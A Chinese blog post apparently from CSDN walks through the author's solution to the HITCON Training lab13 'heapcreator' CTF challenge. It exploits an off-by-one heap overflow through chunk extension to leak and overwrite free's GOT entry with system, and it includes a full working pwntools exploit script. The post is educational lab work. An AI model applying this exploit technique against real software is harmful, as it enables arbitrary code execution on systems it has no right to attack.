HITCON Trainging lab13 heapcreator

记录第一次不看任何writeup自己写出来的pwn题

前置知识:

off by one

chunk overlapping

chunk extend

一开始先看程序打开哪些保护机制

可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)

然后分析程序,挖漏洞

首先从建堆函数看数据结构

结构分析清楚了,就找漏洞。首先我习惯看free函数O(∩_∩)O

可惜,指针已经清零了

再看看edit函数

根据数据结构,可以看到是向data中写入len_of_data+1长度的数据,因此存在off by one漏洞!!!

这里我选择溢出overlapping覆盖size,实现fastbin extend

思路如下:

1、我的目标是system('/bin/sh'),因此我需要修改某个函数的got表指向system。那就free吧。

2、那么我就要泄露出free_got中在内存中的真实地址。

3、通过修改某个ptr的指针,自然利用show(),打印出free_got地址。

4、怎么修改呢?就用上述所说的chunk extend技术,修改size,重新分配一个大Chunk,然后对后面的Prt肆意修改。

5、泄露之后,就直接利用edit改就行了。

6、最后就是free一个含有bin/sh的堆就行了。

看具体exp吧

第一步:泄露free_got

1

2

3

4

5

6

7

8

9

10

11

12

13

14

create(0x18,'aaaa')#0

create(0x10,'bbbb')#1

create(0x10,'cccc')#2

create(0x10,'/bin/sh')#3

edit(0,'a'*0x18+'\x81')#注意这个0x18

delete(1)

size = '\x08'.ljust(8,'\x00')

payload = 'd'*0x40+ size + p64(elf.got['free'])#这里的size涉及到后面修改地址时需要多长的字节

create(0x70,payload)#1

show(2)

cn.recvuntil('Content : ')

free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))

success('free_addr = '+str(hex(free_addr)))

首先必须要解释下为什么是0x18,这里涉及到chunk的知识。一个chunk在被free掉之后存在bins中,其头部含有prev_size和size没错,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果我malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了!!!

然后呢,我要覆盖掉chunk1和chunk2的话根据结构体,我需要create 0x70个字节,加上头部就是0x81了,注意in_use位!然后计算距离chunk2的size字段需要多少数据,填充就行

这是create完四个chunk后的正常的堆的分布

这是edit(0)之后的堆分布,可以看到size位已经被该为0x81了

现在再看,已经成功将chunk2的Ptr改为free_got了

此时free_got的正常地址为0x7efc15fe44f0

能够正常泄露

第二步:修改free_got

1

2

3

4

system_addr = free_addr + lib.symbols['system']-lib.symbols['free']

success('system_addr = '+str(hex(system_addr)))

edit(2,p64(system_addr))

首先要计算system_addr的地址,通过libc两个函数之间的相对偏移固定的原理,利用已经泄露的free_addr得到system_addr

由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了

修改后再看,发现成功篡改free_got了,如无意外就能成功了。

最后一步:

1

2

delete(3)

cn.interactive()

下面贴出完整exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

#!/usr/bin/env python

from pwn import *

#cn = remote('127.0.0.1',9527)

cn = process('./heapcreator')

elf=ELF('./heapcreator')

#context.log_level='debug'

lib = ELF('libc.so.6')

def create(l,value):

    cn.recvuntil('Your choice :')

    cn.sendline('1')

    cn.recvuntil('Size of Heap : ')

    cn.sendline(str(int(l)))

    cn.recvuntil('Content of heap:')

    cn.sendline(value)

def edit(index,value):

    cn.recvuntil('Your choice :')

    cn.sendline('2')

    cn.recvuntil('Index :')

    #if index == 2:gdb.attach(cn)

    cn.sendline(str(index))

    cn.recvuntil('Content of heap : ')

    cn.sendline(value)

def show(index):

    cn.recvuntil('Your choice :')

    gdb.attach(cn)

    cn.sendline('3')

    cn.recvuntil('Index :')

    cn.sendline(str(index))

def delete(index):

    cn.recvuntil('Your choice :')

    cn.sendline('4')

    cn.recvuntil('Index :')

    cn.sendline(str(index))

#leak free addr

create(0x18,'aaaa')#0

create(0x10,'bbbb')#1

create(0x10,'cccc')#2

create(0x10,'/bin/sh')#3

gdb.attach(cn)

edit(0,'a'*0x18+'\x81')

gdb.attach(cn)

delete(1)

size = '\x08'.ljust(8,'\x00')

payload = 'd'*0x40+ size + p64(elf.got['free'])

create(0x70,payload)#1

show(2)

cn.recvuntil('Content : ')

free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))

success('free_addr = '+str(hex(free_addr)))

#trim free_got

system_addr = free_addr + lib.symbols['system']-lib.symbols['free']

success('system_addr = '+str(hex(system_addr)))

#gdb.attach(cn)

edit(2,p64(system_addr))

#gdb.attach(cn)

show(2)

delete(3)

cn.interactive()

欢饮大家交流讨论,给我指出问题。。

猜你喜欢

转载自blog.csdn.net/snowleopard_bin/article/details/82931545